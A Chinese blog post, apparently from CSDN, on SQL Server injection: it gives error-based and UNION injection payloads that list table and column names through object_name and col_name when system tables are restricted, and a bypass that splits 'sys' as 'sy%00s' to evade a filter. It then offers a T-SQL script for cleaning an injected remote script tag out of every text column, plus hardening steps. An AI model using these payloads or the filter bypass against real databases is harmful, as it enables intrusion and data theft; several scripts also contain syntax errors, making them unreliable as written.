当sysobjects表无select权限时暴表

感谢冰牛,现在内容千篇一律的sql注入文章满天飞,依然还能够发现新的注入技巧。

主要就两点,sysobjects表与syscolumns表都无select权限时,得到表名与列名。以前BLOG里写过, 要不是某黑客发来一我等小菜从没接触过的CFM程序的一个注入点让解决获取表名的难题,我都要忘了,顺便再重记一次。

sysobjects表没有权限。如何暴表?所有的表名都只存在了sysobjects表里,所以我们无法从别的地方得到表名。但是,大家有没注意 过sql server提供的object_name函数呢?它与object_id函数是相对应的,object_id会返回指定对象在数据库中的id值。而 object_name会返回指定ID所对应的数据库对象名,对于表来说自然就是表名了。

好了,现在只要得到所有的用户表的ID就可以得到表名了, 表的ID在很多地方都会存储,比如syscolumns表,
我们只要从syscolumns表里面取得表的ID,再利用object_name就可以得到表名了。

可以利用下面的语句得到表名,前提条件是syscolumns表有select 权限:
显错:

 

select 1 where 1=(select top 1 * from (select distinct(object_name(id)) as 'name' from syscolumns) as a where a.[name] not in(select distinct top 0 object_name(id) from syscolumns)) union:

select '1','2','3','4' union select top 1 1,3,[name],4 from (select distinct(object_name(id)) as 'name' from syscolumns) as a where a.[name] not in(select distinct top 0 object_name(id) from syscolumns) 上面的语句会将系统表也查出来。通过不停地变top 0就可以得到所有的表名了。当syscolumns表无权限的时候,可以借助其它的系统表,但是这样很有可能不能得到所有表的名字,看运气了。。只要其它 系统表里面出现了表的ID,就可以通过object_name函数来得到表名,下面从sysprotects这个系统表中获取ID来得到表名:

 

select object_name(id) from sysprotects 再谈syscolumns表无select权限时获取列名的方法,利用col_name函数,先利用上面的方法得到表的id,再利用:

 

select col_name(tableid,colindex) 就可以了。

具体情况具体分析了,朋友发来的这个CFM注点有个毛病,只要参数里面出现sys,就会自动跳回主页,不知道是什么防火墙还是程序内置的安全防护功 能,试了会最终绕过去了,将sys分拆成sy%00s就可以。至于%00为什么没有被截断,同时为什么没有被sql server当成是分隔符,,这我就不知道了,不是本菜鸟能研究出来的。

 

 

 

如何最快速度删除?
" <script   src=http://3b3.org/c.js> </script> "
---------------------------------------------------------------
进入SQL查询分析器
选择你的数据库
第一步:先sql表修改所有者为dbo


EXEC   sp_MSforeachtable   'exec   sp_changeobjectowner   ' '' '' 'dbo ' '   ' 



第二步:统一删除字段被挂的js


declare   @delStr   nvarchar(500)   
set   @delStr= ' <script   src=http://3b3.org/c.js> </script> ' 

set   nocount   on 

declare   @tableName   nvarchar(100),@columnName   nvarchar(100),@tbID   int,@iRow   int,@iResult   int   
declare   @sql   nvarchar(500

set   @iResult=0   
declare   cur   cursor   for   
select   name,id   from   sysobjects   where   xtype= '' 

open   cur   
fetch   next   from   cur   into   @tableName,@tbID 

while   @@fetch_status=0   
begin   
declare   cur1   cursor   for   
                
--xtype   in   (231,167,239,175,35)   为char,varchar,nchar,nvarchar,text类型   
                select   name   from   syscolumns   where   xtype   in   (231,167,239,175,35)   and   id=@tbID   
open   cur1   
fetch   next   from   cur1   into   @columnName   
while   @@fetch_status=0   
begin   
            
set   @sql= 'update   [ '   +   @tableName   +   ']   set   [ '+   @columnName   + ']=   replace([ '+@columnName+ '], ' ' '+@delStr+ ' ' '' ' ' ')   where   [ '+@columnName+ ']   like   ' ''+@delStr+ '' ' '   
            
exec   sp_executesql   @sql             
            
set   @iRow=@@rowcount   
            
set   @iResult=@iResult+@iRow   
            
if   @iRow> 0   
            
begin 
print   '表: '+@tableName+ ',列: '+@columnName+ '被更新 '+convert(varchar(10),@iRow)+ '条记录; '   
            
end             
            
fetch   next   from   cur1   into   @columnName 


end   
close   cur1   
deallocate   cur1   

fetch   next   from   cur   into   @tableName,@tbID   
end   
print   '数据库共有 '+convert(varchar(10),@iResult)+ '条记录被更新!!! ' 

close   cur   
deallocate   cur   
set   nocount   off 


---------------------------------------------------------------
彻底杜绝SQL注入

1.不要使用sa用户连接数据库
2、新建一个public权限数据库用户,并用这个用户访问数据库
3、[角色]去掉角色public对sysobjects与syscolumns对象的select访问权限
4、[用户]用户名称-> 右键-属性-权限-在sysobjects与syscolumns上面打“×”
5、通过以下代码检测(失败表示权限正确,如能显示出来则表明权限太高):


DECLARE   @T   varchar(255), 
@C   varchar(255
DECLARE   Table_Cursor   CURSOR   FOR 
Select   a.name,b.name   from   sysobjects   a,syscolumns   b 
where   a.id=b.id   and   a.xtype= ''   and   (b.xtype=99   or   b.xtype=35   or   b.xtype=231   or   b.xtype=167)   
OPEN   Table_Cursor 
FETCH   NEXT   FROM   Table_Cursor   INTO   @T,@C 
WHILE(@@FETCH_STATUS=0
BEGIN   print   @c 
FETCH   NEXT   FROM   Table_Cursor   INTO   @T,@C   
END 
CLOSE   Table_Cursor 
DEALLOCATE   Table_Cursor   
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值